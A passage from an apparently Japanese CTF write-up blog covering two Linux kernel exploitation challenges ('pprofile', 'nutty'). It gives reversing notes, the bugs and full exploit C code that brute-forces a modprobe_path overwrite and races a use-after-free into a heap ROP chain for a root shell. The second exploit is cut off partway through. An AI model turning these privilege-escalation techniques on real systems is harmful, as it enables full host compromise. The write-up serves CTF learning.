  -no-reboot \
  -append "root=/dev/ram rw rdinit=/root/init console=ttyS0 loglevel=3 oops=panic panic=1"
$ modinfo ./pprofile.ko
filename:       /home/wataru/Documents/ctf/line2021/pprofile/work/./pprofile.ko
license:        GPL
author:         pprofile
srcversion:     35894B85C84616BDF4E3CE4
depends:
retpoline:      Y
name:           pprofile
vermagic:       5.0.9 SMP mod_unload modversions

SMEP有効・SMAP有効・KAISER有効・KASLR有効・oops->panic・シングルコアSMP。ソース配布なし。

 

3: Module

ioctlのみを実装したデバイスを登録している。コマンドは3つ存在し、それぞれ大凡以下のことをする。

 

PP_REGISTER: 0x20

クエリは以下の構造。また、内部では2つの構造体が使われる。

query.c
struct ioctl_query{
    char *comm;
    char *result;
}
struct unk1{
    char *comm;
    struct unk2 *ptr;
}
struct unk2{
    ulong NOT_USED;
    uint pid;
    uint length;
}
struct unk1 storages[0x10]; // global

ユーザから指定されたcommstoragesに存在していなければ新しくunk1unk2kmalloc/kmem_cache_alloc_trace()で確保し、callerのPIDや指定されたcomm及びそのlengthを格納する。この際に、commのlengthに応じて以下の謎の処理があるが、これが何をしているかは分からなかった。

unk_source.c
    else {
      uVar5 = (uint)offset;
                    /* n <= 6 */
      if (uVar5 < 0x8) {
        if ((offset & 0x4) == 0x0) {
                    /* n <= 3 */
          if ((uVar5 != 0x0) && (*__dest = '\0', (offset & 0x2) != 0x0)) {
            *(undefined2 *)(__dest + ((offset & 0xffffffff) - 0x2)) = 0x0;
          }
        }
        else {
                    /* 4 <= n <= 6 */
          *(undefined4 *)__dest = 0x0;
          *(undefined4 *)(__dest + ((offset & 0xffffffff) - 0x4)) = 0x0;
        }
      }
      else {
                    /* n == 7 */
        *(undefined8 *)(__dest + ((offset & 0xffffffff) - 0x8)) = 0x0;
        if (0x7 < uVar5 - 0x1) {
          uVar4 = 0x0;
          do {
            offset = (ulong)uVar4;
            uVar4 = uVar4 + 0x8;
            *(undefined8 *)(__dest + offset) = 0x0;
          } while (uVar4 < (uVar5 - 0x1 & 0xfffffff8));
        }
      }

 

PP_DESTROY: 0x40

storagesから指定されたcommを持つエントリを探して、kfree()及びNULLクリアするのみ。

 

PP_ASK: 0x10

指定されたcommに該当するstoragesのエントリのunk2構造体が持つ値を、指定されたquery.resultにコピーする。このコピーでは以下のようにput_user_size()という関数が使われている。

pp_ask.c
                    /* Found specified entry */
            uVar5 = unk1->info2->pid;
            uVar4 = unk1->info2->length;
            put_user_size(NULL,l58_query.result,0x4);
            iVar2 = extraout_EAX;
            if ((extraout_EAX != 0x0) ||
               (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
               extraout_EAX_00 != 0x0)) goto LAB_001001a0;
            put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);

この関数は、内部でcopy_user_generic_unrolled()という関数を用いてコピーを行っている。この関数の存在を知らなかったのだが、/arch/x86/lib/copy_user_64.Sアセンブラで書かれた関数でuserlandに対するコピーを行うらしい。先頭にあるSTAC命令は一時的にSMAPを無効にする命令である。

copy_user_64.S
ENTRY(copy_user_generic_unrolled)
	ASM_STAC
	cmpl $8,%edx
	jb 20f		/* less then 8 bytes, go to byte copy loop */
	ALIGN_DESTINATION
	movl %edx,%ecx
	andl $63,%edx
	shrl $6,%ecx
	jz .L_copy_short_string
1:	movq (%rsi),%r8
(snipped...)

この時点で、明らかにこれが自明なバグであることに気づくべきだった 。まぁ、後述。

 

 

4: 期間中に考えたこと(FAIL)

絶対にレースだと思ってた。というのも、リバースしたコードが、それはもうTOCTOU臭が漂いまくっていた。いや、本当は漂ってなかったかも知れないが、絶対そうだと思いこんでいた。一番有力なのは以下の部分だと思ってた。

sus.c
      if (command == 0x10) {
        iVar2 = strncpy_from_user(&l41_user_comm,l58_query.userbuf,0x8);
        if ((iVar2 == 0x0) || (iVar2 == 0x9)) goto LAB_00100341;
        if (iVar2 < 0x0) goto LAB_001001a0;
        p_storage = storages;
        do {
          unk1 = *p_storage;
          if ((unk1 != NULL) &&
             (iVar2 = strcmp(unk1->comm,(char *)&l41_user_comm), comm = l58_query.result,
             iVar2 == 0x0)) {
                    /* Found specified entry */
            uVar5 = unk1->info2->pid;
            uVar4 = unk1->info2->length;
            put_user_size(NULL,l58_query.result,0x4);
            iVar2 = extraout_EAX;
            if ((extraout_EAX != 0x0) ||
               (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
               extraout_EAX_00 != 0x0)) goto LAB_001001a0;
            put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);

userから指定されたcommstrncpy_from_user()でコピーした後に、合致するエントリがあるかをstoragesから探し、見つかったならばその結果をquery.resultにコピーしている。ここだけが唯一storagesからの検索後にもユーザランドへのアクセスがあったため、ここでuffdしてTOCTOUするものだと思った。処理を止めている間に該当エントリをPP_DESTROYして何か他のオブジェクトを入れた後にreadするんじゃないかと思った。だが、実際の処理ではユーザアクセス(put_user_size())の前にpidとlengthをスタックに積んでいるため、少なくともuffdによるレースは失敗する。なんかうまいことstoragesの検索後からスタックに積むまでの間に処理が移ったら良いんじゃないかとも思ったが、だいぶしんどそう。しかも、この方法だとleakができたとしてもwriteする手段がないためどっちにしろ詰むことになったと思う。

レースの線に固執しすぎていたのと、あと単純にリバースが下手でバイナリを読み間違えていたのもあって、解けなかった。

 

5: Vuln

以下、完全に@sampritipandaさんのPoCをパクっています。

上述したが、ユーザランドへのコピーにcopy_user_generic_unrolled()を使っている。この関数のことを読み飛ばしていたのだが、kernelを読んでみると、この関数はCPUがrep movsq等の効率的なコピーに必要な命令のマイクロコードをサポートしていない場合に呼ばれる関数らしい。

uaccess_64.h
copy_user_generic(void *to, const void *from, unsigned len)
{
	unsigned ret;

	/*
	 * If CPU has ERMS feature, use copy_user_enhanced_fast_string.
	 * Otherwise, if CPU has rep_good feature, use copy_user_generic_string.
	 * Otherwise, use copy_user_generic_unrolled.
	 */
	alternative_call_2(copy_user_generic_unrolled,
			 copy_user_generic_string,
			 X86_FEATURE_REP_GOOD,
			 copy_user_enhanced_fast_string,
			 X86_FEATURE_ERMS,
			 ASM_OUTPUT2("=a" (ret), "=D" (to), "=S" (from),
				     "=d" (len)),
			 "1" (to), "2" (from), "3" (len)
			 : "memory", "rcx", "r8", "r9", "r10", "r11");
	return ret;
}

そして、このcopy_user_generic()自体は通常のcopy_from_user()から呼ばれる関数である。(raw_copy_from_user()経由)

usercopy.c
unsigned long _copy_from_user(void *to, const void __user *from, unsigned long n)
{
	unsigned long res = n;
	might_fault();
	if (likely(access_ok(from, n))) {
		kasan_check_write(to, n);
		res = raw_copy_from_user(to, from, n);
	}
	if (unlikely(res))
		memset(to + (n - res), 0, res);
	return res;
}
EXPORT_SYMBOL(_copy_from_user);

はい。上の関数を見れば分かるが、raw_copy_from_user()を呼び出す前にはaccess_ok()を呼んで、指定されたユーザランドポインタがvalidなものであるかをチェックする必要がある。つまり、copy_user_generic_unrolled()自体はこのチェックが既に済んでおり、ポインタはvalidなものとして扱う。よって、 query.resultにkernellandのポインタを渡してしまえばAAWが実現される

 

6: 方針

PP_ASKで書き込まれる値は、commlength・PID、及び使用されていない常に0の8byteである(これナニ?)。この内commはlengthが1~7に限定されているため、任意に操作できるのはPIDだけである。fork()を所望のPIDになるまで繰り返せば任意の値を書き込むことができる。

任意書き込みができる場合に一番楽なのはmodprobe_pathである。この際、KASLRが有効だからleakしなくちゃいけないと思ったら、意外とbruteforceでなんとかなるらしい。エントロピーは、以下の試行でも分かるように1byteのみである。 readのbruteforceならまだしも、writeのbruteforceでも意外とkernelはcrashしないらしい 。勉強になった。

ex.txt
ffffffff82256f40 D modprobe_path
ffffffff90256f40 D modprobe_path
ffffffff96256f40 D modprobe_path

 

7: exploit

exploit.c
/** This PoC is completely based on https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6 **/

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/pprofile"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000UL
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

/*** GLOBALS *****/
void *mmap_addr;
int fd;
char inbuf[PAGE];
char outbuf[PAGE];
/********************/

#define PP_REGISTER 0x20
#define PP_DESTROY 0x40
#define PP_ASK 0x10

struct query{
  char *buf;
  char *result;
};

void _register(int fd, char *buf){
  printf("[.] register: %d %p(%s)\n", fd, buf, buf);
  struct query q = {
      .buf = buf};
  int ret = ioctl(fd, PP_REGISTER, &q);
  printf("[reg] %d\n", ret);
}

void _destroy(int fd, char *buf){
  printf("[.] destroy: %d %p(%s)\n", fd, buf, buf);
  struct query q = {
      .buf = buf
  };
  int ret = ioctl(fd, PP_DESTROY, &q);
  printf("[des] %d\n", ret);
}

void _ask(int fd, char *buf, char *obuf){
  printf("[.] ask: %d %p %p\n", fd, buf, obuf);
  struct query q = {
      .buf = buf,
      .result = obuf
  };
  int ret = ioctl(fd, PP_ASK, &q);
  printf("[ask] %d\n", ret);
}

void ack_pid(int pid, void (*f)(ulong), ulong arg){
  while(1==1){
    int cur = fork();
    if(cur == 0){ // child
      if(getpid() % 0x100 == 0){
        printf("[-] 0x%x\n", getpid());
      }
      if(getpid() == pid){
        f(arg);
      }
      exit(0);
    }else{ // parent
      wait(NULL);
      if(cur == pid)
        break;
    }
  }
}

void sub_aaw(ulong offset){
  for (int ix = 0; ix != 0xFF; ++ix){
    ulong target = 0xffffffff00000000UL
                    + ix * 0x01000000UL
                    + offset;
    _register(fd, inbuf);
    _ask(fd, inbuf, (char *)target);
    _destroy(fd, inbuf);
  }
}

void aaw(ulong offset, unsigned val){
  ack_pid(val, &sub_aaw, offset);
}

int main(int argc, char *argv[]) {
  char s_evil[] = "/tmp/a\x00";
  memset(inbuf, 0, 0x200);
  memset(outbuf, 0, 0x200);
  strcpy(inbuf, "ABC\x00");
  fd = open(DEV_PATH, O_RDONLY);
  assert(fd >= 2);

  // setup for modprobe_path overwrite
  system("echo -ne '#!/bin/sh\nchmod 777 /root/flag' > /tmp/a");
  system("chmod +x /tmp/a");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
  system("chmod +x /tmp/nirugiri");

  for(int ix=0;ix<strlen(s_evil);ix+=2){
    printf("[+] writing %x.......\n", *((unsigned short*)(s_evil+ix)));
    aaw(0x256f40 - 0x10 + 8 + ix, *((unsigned short*)(s_evil+ix)));
  }

  // invoke user_mod_helper
  system("/tmp/nirugiri");

  return 0;
}

/*
ffffffff82256f40 D modprobe_path
ffffffff90256f40 D modprobe_path
ffffffff96256f40 D modprobe_path
*/

 

8: アウトロ

f:id:smallkirby:20210321160043p:plain

 

この、無能め!!!!

 

 

9: symbols without KASLR

/ # cat /proc/kallsyms | grep pprofile
0xffffffffc0002460 t pprofile_init        [pprofile]
0xffffffffc00044d0 b __key.27642  [pprofile]
0xffffffffc00030a0 r pprofile_fops        [pprofile]
0xffffffffc0002570 t pprofile_exit        [pprofile]
0xffffffffc00032bc r _note_6      [pprofile]
0xffffffffc0004440 b p    [pprofile]
0xffffffffc0004000 d pprofile_major       [pprofile]
0xffffffffc0004040 d __this_module        [pprofile]
0xffffffffc0002570 t cleanup_module       [pprofile]
0xffffffffc00044c8 b pprofile_class       [pprofile]
0xffffffffc0002460 t init_module  [pprofile]
0xffffffffc0002000 t put_user_size        [pprofile]
0xffffffffc0002050 t pprofile_ioctl       [pprofile]
0xffffffffc0004460 b cdev [pprofile]
0xffffffffc00043c0 b storages     [pprofile]

 

10: 参考

1: sampritipandaさんのPoC

https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6

2: ニルギリ(100万再生いってるけど、内7億回くらいは僕です)

https://youtu.be/yvUvamhYPHw

 

 

 

続く...

 

 

【pwn 51.0】nutty - Union CTF 2021 [maybe not intended sol] (kernel exploit)

keywords

kernel exploit / race without uffd / SLOB / seq_operations / tty_struct / bypass SMAP via kROP on kheap

 

 

 

1: イントロ

いつぞや開催された Union CTF 2021 。そのpwn問題である nutty 。先に言ってしまうと、localでrootが取れたもののremoteで動かなかったためflagは取れませんでした。。。。。。。

今これを書いているのが日曜日の夜9:30のため、あとCTFは6時間くらいあって、その間にremoteで動くようにデバッグしろやと自分自身でも思っているんですが、ねむねむのらなんにゃんこやねんになってしまったため、寝ます。起きたら多分CTF終わってるので、忘却の彼方に行く前に書き残しときます。感想を言っておくと、今まで慣れ親しんできたkernel問とはconfigが結構違うくて、辛かったです。

あとでちゃんと復習して、remoteでもちゃんと動くようなexploitに書き直しときます

【追記20210222】

なんかDiscord見た感じ、普通にoverflowがあったっぽい。。。。。。けど気づかなかったので、一切overflowを使わずに進めてしまいました。:cry:

【追記終わり】

【追記20210222】

方針は、完全にこれでよかった。ただ一つ、間違えていたのはsetxattrする対象をloaclでは/tmpに入れていたが、remoteでは/home/userに入れていたため、setxattrが動いてなかっただけだった。。。。普段なら返り値全てにassertしているのだが、今回はuffdなしのraceだったため少しでも余計な処理をなくすためにassertを端折ってしまっていた。実際にsetxattrの第一引数を/home/userに変更するだけで、exploitは1/2の確率でremoteで動作するようになった。。。。。もおおおおおおおおおおおおおおおおお。

f:id:smallkirby:20210222112132p:plain

invalid argument#1 of setxattr.........

f:id:smallkirby:20210222112152p:plain

my exploit works by fixing only arg#1 of setxattr......

【追記終わり】

 

2: static

basic

basic.sh
/ $ cat /proc/version
Linux version 5.10.17 (p4wn@p4wn) (gcc (GCC) 10.2.0, GNU ld (GNU Binutils) 2.35) #3 SMP Thu Feb 18 21:52:1
/ $ lsmod
vulnmod 16384 0 - Live 0x0000000000000000 (O)

timeout qemu-system-x86_64 \
        -m 128 \
        -kernel bzImage \
        -initrd initramfs.cpio \
        -nographic \
        -smp 1 \
        -cpu kvm64,+smep,+smap \
        -append "console=ttyS0 quiet kaslr" \
        -monitor /dev/null \

SMEP有効・SMAP有効・KASLR有効・KAISER有効・FGKASLR無効。

 

module

ソースコードが配布されている。最高。nutという構造体があり、ユーザから提供されたデータを保持するノートみたいな役割を果たす。

 

3: Vuln

kUAF / double fetch

vulnmod.c
static int append(req* arg){ 
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }

    int new_size = read_size(arg) + nuts[idx].size;
    if (new_size < 0 || new_size >= 1024){
        printk(KERN_INFO "bad new size!\n"); 
        return -EINVAL;
    }
    char* tmp = kmalloc(new_size, GFP_KERNEL); 
    memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
    kfree(nuts[idx].contents); // A
    char* appended = read_contents(arg); // B
    if (appended != 0){
        memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size); 
        kfree(appended); // C
    }
    nuts[idx].contents = tmp; // D
    nuts[idx].size = new_size;

    return 0;
}

ノートを書き足す際にappend()関数が呼ばれる。この時、"A"において古いノートを一旦kfree()して、"B"で追加されたデータをcopy_from_user()によってコピーした後、コピーに使った一時的な領域を"C"でkfree()している。この時、ノートの管理構造体であるnutに対して新しいデータが実際につけ変わるのは"D"であり、"A"と"D"の間ではkfree()された領域へのポインタが保持されたままになっている。よって、"A"と"D"の間で上手く処理をユーザランドに戻すことができれば、RaceConditionになる。

 

invalid show size

vulnmod-show.c
static int show(req* arg){ 
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }
    copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);

    return 0;
}

ユーザが書き込んだデータをユーザランドに返すshow()という関数がある。このモジュールではデータ読み込みの際に、データバッファ自体のサイズと実際に入力するデータ長を区別しているが、copy_to_user()においては実際のデータ長(nut.content_length)ではなく、バッファの長さ(nut.size)を利用している。よって、短いデータを大きいバッファに入れることで初期化されていないheap内のデータを読むことができ、容易にheapアドレス等のleakができる。

 

 

4: leak kernbase

race via userfaultfd (FAIL)

これだったら、いつもどおりuffdでraceを安定させて終わりじゃーんと最初に問題を見たときには思った。だが、調べる内にこのkernelには 想定外のことが3つ あった。

1つ目。uffdが無効になっている。呼び出すと、Function not Implementedと表示されるだけ。よって、uffdによってraceを安定化させるということはできない。

not-exist-uffd.sh
/ # cat /proc/kallsyms | grep userfaultfd
ffffffffad889df0 W __x64_sys_userfaultfd
ffffffffad889e00 W __ia32_sys_userfaultfd

2つ目。スラブアロケータがSLUBじゃない。heapを見てみると、見慣れたSLUBと構造が異なっていた。恐らくこれはSLOBである。そして、ぼくはSLOBの構造をよく知らない。なんかキャッシュが大中小の3パターンでしか分かれていないというのと、objectの終わりの方に次へのポインタがあるっていうことくらい。

3つ目。modprobe_pathがない。なんかあってもmodprobe_path書き換えれば終わりだろ〜と思っていたが、これまた検討が外れた。

【追記20210222】

modprobe_path、普通に存在していたらしい。まぁあっても使わなかったと思うけど。

 

race to leak kernbase without uffd (Success)

uffdが使えないため、素直にraceを起こすことにした。利用する構造体はseq_operations。大まかな流れは以下のとおり。

leak-concept.txt
1. 0x20サイズのnutをcreate
2. 1で作ったnutに対してsize:0x100,content_length:0でひたすらにappendし続ける
3. 別スレッドにおいて1で作ったnutからひたすらにopen(/proc/self/stat)とshowを交互にする
4. 上手くタイミングが噛み合い、appendの途中で3のスレッドにスイッチした場合、kfreeされたnutをseq_operationsとして確保できる。よって、これをshowすることでポインタがleakできる。

f:id:smallkirby:20210221230340p:plain

leak kernbase

これで、kernbaseのleak完了。

 

5: get RIP

RIPの取得も、kernbaseのleakとほぼ同じようにraceさせることでできる。今回はtty_structを使った。

 

6: bypass SMAP via kROP in kernel heap

RIPを取れたは良いが、今回はSMAP/SMEP/KPTI有効というフル機構である。SMEP有効のためuserlandのshellcodeは動かせないし、SMAP有効のためuserlandにstack pivotしてkROPすることもできない。また、modprobe_pathも存在しないため書き換えだけでrootを取ることもできない。ここでかなり悩んで時間を使ってしまった。

最終的に、tty_struct内の関数ポインタを書き換えてgadgetに飛んだ時に、RBPがtty_struct自身を指していることが分かった。そのため、leave, retするgadgetに飛ぶことで、RSPtty_struct、すなわちkernel heapに向けることができる。但し、このtty_structは既にRIPを取るために使ったペイロードが入っている。よって、 このペイロードも含めてkROPとして成立するようなkROP chain を組む必要があった。最終的にtty_structは以下のようなペイロードとchainを含んだ構造になった。

f:id:smallkirby:20210221232519j:plain

tty_struct both as payload and ROP chain in the same time

これで/dev/ptymxに対してioctlすると、まず中程(黄色)のleaveするgadgetに飛ぶ(opsを変えても何も起こらなかったのは何故???)。そこでleaveをするとRSPがこのtty_structの先頭を指すようになる(厳密にはmagicの次)。但し、このtty_structにはioctl時に破損していてはいけないポインタが入っているっぽいため、これは残しておく必要がある。kROP時にはこれが邪魔になるため、これをpoppop gadgetで取り除く。また、一番最初に使ったleaveへのgadgetも、これが残っていると永遠にROPがループしてしまうため、pop gadgetによって取り除く。あとはcc(pkc(0))した後でswapgs_restore_and_return_to_user+iretqして終わり。
【追記20210222】

今回これがremoteで動かなかった原因は未だにはっきりとしていないが、raceの成功を確認してからtty_structを改ざんするまでの間にcontext switchが入ってしまったことが原因の一つとして考えられる。モジュール内のユーザランドからデータの取得する処理にかける時間を増やすため、appendの際にくそでかバッファをコピーさせるという緩和策が考えられる。(参考: https://twitter.com/pwnyaa/status/1363656594764931075?s=20)

 

7: remoteでrootが取れないぽよ。。。 (FAIL)

これでローカル環境においてシェルが取れたが、リモート環境においてどうしてもシェルが取れなかった。多分、ローカルで動いているということは、ちょっと調整をするだけで取れるような気もするが、ローカルで動かすまでにかなり精神を摩耗させてしまったためremoteでシェルを取ることは叶わなかった。悲しいね。。。

(もっと悲しいのは、その原因がしょうもないtypoだったって分かったときだね。。。 )

 

8: exploit

ローカルでは 3回に1回くらいの確率 でrootが取れる。但し、remoteでは取れなかった。remoteとlocalの違いと言えば、最初にプログラムをsend/decompressするかくらいなため、そこになんか重要な違いでもあったのかなぁ。多分初期のheap状態とかだと思うんですが、如何せんSLOBよく知らんし、調べる気力もCTF中は失われてしまった。。。

remoteでも70%くらいの確率でroot取れます。

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/nutty"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  puts("[!!!] REACHED NIRUGIRI");
  int ruid, euid, suid;
  getresuid(&ruid, &euid, &suid);
  //if(euid != 0)
  //  errExit("[ERROR] FAIL");
  system("/bin/sh");
  //char *argv[] = {"/bin/sh",NULL};
  //char *envp[] = {NULL};
  //execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

/** nutty **/
// commands
#define NUT_CREATE 0x13371
#define NUT_DELETE 0x13372
#define NUT_SHOW 0x13373
#define NUT_APPEND 0x13374

// type
struct req {
    int idx;
    int size;
    char* contents;
    int content_length;
    char* show_buffer;
};

// globals
int nutfd;
char buf[0x400];            // general shared buf between threads in userland
ulong kernbase;
uint second_size = 0x2e0;   // second nut size
ulong *chain = 0;           // ROP chain
int leaked = -1;
uint count = 0;             // just counters
ulong total_try = 0;
ulong delete_count = 0;
ulong append_count = 0;
uint target_idx = 0;
ulong current_cred;

// wrappers
int _create(int fd, uint size, uint csize, char *data){
  //printf("[+] create: %lx, %lx, %p\n", size, csize, data);
  assert(fd > 0);
  assert(0<=size && size<0x400);
  assert(csize > 0);
  assert(count < 10);
  struct req myreq = {
    .size = size,
    .content_length = csize,
    .contents = data
  };
  return ioctl(fd, NUT_CREATE, &myreq);
}

int _show(int fd, uint idx, char *buf){
  //printf("[+] show: %lx, %p\n", idx, buf);
  assert(fd > 0);
  struct req myreq ={
    .idx = idx,
    .show_buffer = buf
  };
  return ioctl(fd, NUT_SHOW, &myreq);
}

int _delete(int fd, uint idx){
  //printf("[+] delete: %x\n", idx);
  assert(fd > 0);
  struct req myreq = {
    .idx = idx,
  };
  return ioctl(fd, NUT_DELETE, &myreq);
}

int _append(int fd, uint idx, uint size, uint csize, char *data){
  //printf("[+] append: %x, %x %x, %p\n", idx, size, csize, data);
  assert(fd > 0);
  assert(0<=size && size<0x400);
  assert(csize > 0);
  struct req myreq = {
    .size = size,
    .content_length = csize,
    .contents = data,
    .idx = idx
  };
  return ioctl(fd, NUT_APPEND, &myreq);
}
/** (END nutty) **/

// thread handlers
static void* shower(void *arg){
  char rbuf[0x200];
  memset(rbuf, 0, 0x200);
  int result;
  int tmpfd;
  ulong shower_counter = 0;
  while(leaked == -1){
    // alloc seq_operations in case kUAF is realized
    tmpfd = open("/proc/self/stat", O_RDONLY);
    result = _show(nutfd, 0, rbuf);
    if(result < 0){ // not existance
      close(tmpfd);
      continue;
    }
    // if the value of nut is not AAAAAA..., kUAF is realized and seq_operations is there
    if(((ulong*)rbuf)[0] != 0x4141414141414141){
      leaked = 1;
      puts("[!] LEAKED!");
      for(int ix=0; ix!=4;++ix){
        printf("[!] 0x%lx\n", ((ulong*)rbuf)[ix]);
      }
      break;
    }
    // kfree seq_operations (if you forget, it leads to out of memory and system crash)
    close(tmpfd);
    if(shower_counter % 0x1000 == 0){
      printf("[-] shower: 0x%lx, 0x%lx\n", shower_counter, ((ulong*)rbuf)[0]);
    }
    ++shower_counter;
  }
  puts("[+] shower returning...");
  return (void*)((ulong*)rbuf)[0];
}

static void* appender(void *arg){
  int result = 0;
  char wbuf[0x200];
  memset(wbuf, 'A', 0x200);
  while(leaked == -1){
    result = _append(nutfd, target_idx, 0x0, 0x1, wbuf);
    if(result >= 0){
      ++append_count;
      if(append_count % 0x100 == 0)
        printf("[-] append: 0x%lx\n", append_count);
    }
  }
  puts("[+] appender returning...");
}

static void* writer(void *arg){
  char rbuf[0x400];
  int result;
  int tmpfd;
  ulong writer_counter = 0;

  while(leaked == -1){
    // alloc tty_struct in case kUAF is realized
    tmpfd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    result = _show(nutfd, target_idx, rbuf);
    if(result < 0){ // idx0が存在しなy
      close(tmpfd);
      continue;
    }
